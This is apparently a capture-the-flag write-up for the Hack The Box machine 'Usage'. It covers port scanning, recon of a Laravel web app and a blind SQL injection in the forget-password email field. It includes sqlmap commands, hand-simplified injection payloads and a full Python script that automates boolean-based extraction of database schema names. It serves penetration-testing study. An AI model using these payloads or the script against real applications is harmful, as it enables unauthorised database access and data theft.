Enumeration

nmap / rustscan

Open 10.10.11.18:22
Open 10.10.11.18:80

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFfdLKVCM7tItpTAWFFy6gTlaOXOkNbeGIN9+NQMn89HkDBG3W3XDQDyM5JAYDlvDpngF58j/WrZkZw0rS6YqS0=
|   256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHr8ATPpxGtqlj8B7z2Lh7GrZVTSsLb6MkU3laICZlTk
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/

web app

main site usage.htb

Based on nmap scan, port 80 of the IP (http://10.10.11.18) redirects to usage.htb so we add it to /etc/hosts and navigating to http://usage.htb we get a login page

Very simple web app with only 3 links on the top right.

Login:
I believe this is the main page as it leads to the same interface as the main page

Register:
Register an account – we can try that next

Admin:
Seems to be a link to the Admin login/dashboard, however, it links to admin.usage.htb so we add that to /etc/hosts and try it later.

subdomain bruteforcing

Since we found a subdomain, let’s do subdomain bruteforcing to see if there are other subdomains in use and leave it to run while we check other things.

We get a 503 when navigating to the Admin page But we now know it’s running version 1.18.0 of nginx server.

We can try to seachsploit nginx 1.18.0 but for now let’s try to register an account.

register and login

After registering and logging in, we get a dashboard of featured blogs with article names and their corresponding brief description which seems quite random and without any hyperlinks (other than logout on top right).

CTRL-U to view the source and we really don’t see anything interesting.

cookies

CTRL-SHIFT-I to open the browser Dev Tools to check for cookies and we find 2 cookies, a Laravel session cookie and an XSRF Token. This suggests that the web app is running Laravel.

blog article hints?

Reading again the seemingly random blog article descriptions, we see a lot of mention about Server-Side Pentesting and then the last headline mentioning Laravel PHP which is a web app based on PHP, a server-side language.
Since this is a CTF, the way in might be a PHP exploit, but at the same time, it can be a rabbit hole.

subdomain bruteforcing - nothing interesting

The subdomain bruteforcing didn’t bear any fruit.

Exploit

Blind SQLi

There are a few input fields we can test for SQLi in these pages:
/login
/registration
/forget-password

The simplest and fastest way first is by using a single quote ' to look for anomalies as mentioned in PortSwigger.
https://portswigger.net/web-security/sql-injection#how-to-detect-sql-injection-vulnerabilities

Interestingly, the web app returns a 500 error page when a single quote is keyed in to the email field in the /forget-password form (email parameter).

A typical error would look like this:

We can then try some SQLi payloads and again the most popular one works:
' OR 1=1 -- - But this indicates that it’s a Blind SQLi since we cannot see the output of the SQL queries.

sqlmap

From here, I was stuck. Since sqlmap is explicitly not allowed to be used in OSCP, I tried searching for an OSCP-friendly method but all I could find was the sqlmap method. So I decided to see what allowed sqlmap to enumerate the databases and tried mimicking it by writing my own script.

Before running sqlmap, I will send a legitimate POST request to capture it in Burp. Subsequently, I will save it to a file as input for the sqlmap command.

sqlmap -r sqlmap.req --level 5 --risk 3 -p email --batch --dbs -v 3

-r flag for the request file
--level 5 and --risk 3 for the most aggressive because we don’t care
-p email for the parameter to test
--batch so that sqlmap will use the default and not request for user input
--dbs to enumerate databases
-v 3 because 2 doesn’t display the payloads as they’re used and 4 is too verbose

We let it run for a bit before it confirms a boolean-based (and time-based) blind SQLi.

studying sqlmap

Now I’m interested to see how sqlmap enumerates the DBs. It will first try to find how many DBs there are.

One of the payloads to enumerate number of databases:

e@mail.com' AND 9850=(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51) THEN 9850 ELSE (SELECT 5053 UNION SELECT 2952) END))-- -

One look and we can tell that it is using a very complex SQL query but if we break it down, it is essentially counting the distinct schema names in the INFORMATION_SCHEMA.SCHEMATA, a table containing metadata about all databases. Thanks, ChatGPT.

So if we’re just counting the number of schema names to find the number of databases and then comparing it to a number, we can just simplify the payloads:

e@mail.com' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = 1-- -
[email protected]' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = 2-- -
e@mail.com' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = 3-- -
..
..

python script

Long story short, I also took a look at how sqlmap enumerated the DB names as well as tables and wrote a python script to perform my own enumeration.

blindsqli.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
import requests
import argparse

def send_request(url, data, payload, cookies=None):
    data['email'] = payload  # Update the email field with the payload

    # Send the POST request with headers and cookies
    response = requests.post(url, data=data, cookies=cookies)
    return response  # Return the response object to check status and content

def get_database_count(url, data, cookies):
    print("Checking number of databases...")
    for count in range(1, 20):  # Adjust the range as necessary for the number of databases
        payload = f"[email protected]' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = {count}-- -"
        response = send_request(url, data, payload, cookies)
        print(f"Count {count}: {payload}")

        # Check response status
        if response.status_code == 200:
            if "Email address does not match in our records!" not in response.text:
                print(f"Database count confirmed: {count}\n")
                return count  # Return the database count
        elif response.status_code in [302, 500]:
            continue  # Ignore these statuses for the count check
    return 0  # Return 0 if not found

def get_schema_lengths(url, data, cookies, database_count):
    schema_lengths = []

    for db_index in range(database_count):
        print(f"Checking for Schema Length of DB {db_index + 1}...")

        length = 0

        # Step 1: Check for length <= 10, <= 20, or <= 30
        if check_schema_length(url, data, cookies, db_index, 10):
            print(f"Schema Length is <= 10 for DB {db_index + 1}")
            # Step 2: Check exact length between 1 and 10
            length = find_exact_length(url, data, cookies, db_index, range(10, 0, -1))  # Reverse to check from 10 down to 1

        elif check_schema_length(url, data, cookies, db_index, 20):
            print(f"Schema Length is <= 20 for DB {db_index + 1}")
            # Step 3: Check exact length between 11 and 20
            length = find_exact_length(url, data, cookies, db_index, range(20, 10, -1))  # Check from 20 down to 11

        elif check_schema_length(url, data, cookies, db_index, 30):
            print(f"Schema Length is <= 30 for DB {db_index + 1}")
            # Step 4: Check exact length between 21 and 30
            length = find_exact_length(url, data, cookies, db_index, range(30, 20, -1))  # Check from 30 down to 21

        if length > 0:
            schema_lengths.append(length)
            print(f"Schema Length for DB {db_index + 1} is: {length}\n")

    return schema_lengths  # Return a list of schema lengths

def check_schema_length(url, data, cookies, db_index, max_length):
    """Check if the schema length is <= max_length."""
    payload = f"[email protected]' AND (SELECT LENGTH(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {db_index}, 1) <= {max_length}-- -"
    response = send_request(url, data, payload, cookies)
    print(f"Checking if schema length <= {max_length}: {payload}")
    if response.status_code == 200:
        if "Email address does not match in our records!" not in response.text:
            return True
    return False

def find_exact_length(url, data, cookies, db_index, length_range):
    """Find the exact length by checking specific values in the given range."""
    for length in length_range:
        payload = f"[email protected]' AND (SELECT LENGTH(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {db_index}, 1) = {length}-- -"
        response = send_request(url, data, payload, cookies)
        print(f"Checking if schema length = {length}: {payload}")
        if response.status_code == 200:
            if "Email address does not match in our records!" not in response.text:
                return length  # Return the found length
    return 0  # Return 0 if not found

def check_group_characters(url, data, cookies, db_index, i, groups):
    """Check through character groups in the correct order to identify the schema name character."""
    for group_name, group_chars in groups:
        # Use SQLi payload to check if the character belongs to the group
        group_check_payload = f"[email protected]' AND (SELECT SUBSTRING(schema_name, {i}, 1) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {db_index}, 1) IN ({', '.join([repr(char) for char in group_chars])})-- -"
        response = send_request(url, data, group_check_payload, cookies)
        print(f"Checking group: {group_name}: {group_check_payload}")

        # Check response status
        if response.status_code == 200:
            if "Email address does not match in our records!" not in response.text:
                # If the character is in the group, proceed to identify the character
                print(f"--Character is in {group_name}--")
                for char in group_chars:
                    char_check_payload = f"[email protected]' AND (SELECT SUBSTRING(schema_name, {i}, 1) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {db_index}, 1) = '{char}'-- -"
                    char_response = send_request(url, data, char_check_payload, cookies)
                    print(f"Checking character: {char}: {char_check_payload}")

                    # Check response status
                    if char_response.status_code == 200:
                        if "Email address does not match in our records!" not in char_response.text:
                            return char  # Return the found character
                    elif char_response.status_code in [302, 500]:
                        continue  # Ignore these statuses
        elif response.status_code in [302, 500]:
            continue  # Ignore these statuses
    return ''  # Return empty string if no character is found

def enumerate_schema_names(url, data, cookies, schema_lengths):
    schema_names = []

    # Define groups and group names in the desired order
    groups = [
        ("Lower Case 1", 'abcdefghijklm'),
        ("Lower Case 2", 'nopqrstuvwxyz'),
        ("Special Characters", '_$@'),
        ("Numbers", '0123456789'),
        ("Upper Case 1", 'ABCDEFGHIJKLM'),
        ("Upper Case 2", 'NOPQRSTUVWXYZ')
    ]

    for db_index, length in enumerate(schema_lengths):
        schema_name = ''
        print(f"Checking for Schema Name of DB {db_index + 1}...")

        for i in range(1, length + 1):
            # Check the character group for each character position
            char = check_group_characters(url, data, cookies, db_index, i, groups)
            if char:
                schema_name += char  # Append the character to the schema name
                print(f"Character found at position {i} for database {db_index + 1}: {char}")
                print(f"Schema Name so far: {schema_name}\n")

        schema_names.append(schema_name)  # Store the complete schema name
    return schema_names  # Return list of schema names

def get_table_count(url, data, cookies):
    print("Checking number of tables...")
    for count in range(1, 20):  # Adjust the range as necessary for the number of databases
        payload = f"[email protected]' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = '') = {count}-- -"
        response = send_request(url, data, payload, cookies)
        print(f"Count {count}: {payload}")

        # Check response status
        if response.status_code == 200:
            if "Email address does not match in our records!" not in response.text:
                print(f"Database count confirmed: {count}\n")
                return count  # Return the database count
        elif response.status_code in [302, 500]:
            continue  # Ignore these statuses for the count check
    return 0  # Return 0 if not found

def main():
    # Set up argument parser
    parser = argparse.ArgumentParser(description="SQLi Schema Enumeration Script")
    parser.add_argument('--url', required=True, help='Target URL for POST request')
    parser.add_argument('--cookies', required=True, help='Cookies for the request in key=value format, separated by commas')
    parser.add_argument('--postdata', required=True, help='POST data in key=value format, separated by &')
    args = parser.parse_args()

    # Define the URL and POST data
    url = args.url
    data = dict(item.split('=') for item in args.postdata.split('&'))  # Split key=value pairs

    # Parse cookies
    cookies = {}
    for cookie in args.cookies.split(','):
        key, value = cookie.split('=')
        cookies[key.strip()] = value.strip()

    # Step 1: Get the number of databases
    num_databases = get_database_count(url, data, cookies)
    if num_databases > 0:
        print(f"Total number of databases found: {num_databases}\n")

        # Step 2: Get the schema lengths for all databases
        schema_lengths = get_schema_lengths(url, data, cookies, num_databases)

        # Step 3: Enumerate the schema names
        schema_names = enumerate_schema_names(url, data, cookies, schema_lengths)

        # Step 4: Enumerate tables
        print(f"")

        for i, schema_name in enumerate(schema_names):
            print(f"Schema name for database {i + 1}: {schema_name}")

if __name__ == "__main__":
    main()

testing the script

It was a lot of work but it works.

python3 blindsqli.py --url 'http://usage.htb/forget-password' --postdata '_token=uniQoxxa7t6FcBVqjiC6z0eiqFxh7D7MybadzUrL&email=' --cookies 'laravel_session=eyJpdiI6IkZCWU01VUhXbWJNcHZHUGJ6ZmVCMEE9PSIsInZhbHVlIjoiNEVoZGdLRTZQUlZVQTFFbFJYV1pOejhHd3BKcmpoZXg4TWwzSWpHTTV1bmlHZW03ZHdMSkVkQ2FpMEVzT05BOE8rdlZEU01sQ3h4M1ZiU2c1eGRMWXkrblFjeS9HZXpUOGsreU1adnZ2SEN3TmozUExoOTRlOFdidzRtV0RUMEUiLCJtYWMiOiJmOGMwZWExZGEzNGJlYjI1N2U3NzFiMTRhYjYwZmUwMzhlYzkxNGExOWYyYjhjNTg4YWY1MWQxZTQ0NzI1Yjg4IiwidGFnIjoiIn0%3D'

The script also takes time to run because I cannot for the life of me implement multi-threading to speed up the enumeration even with ChatGPT’s help.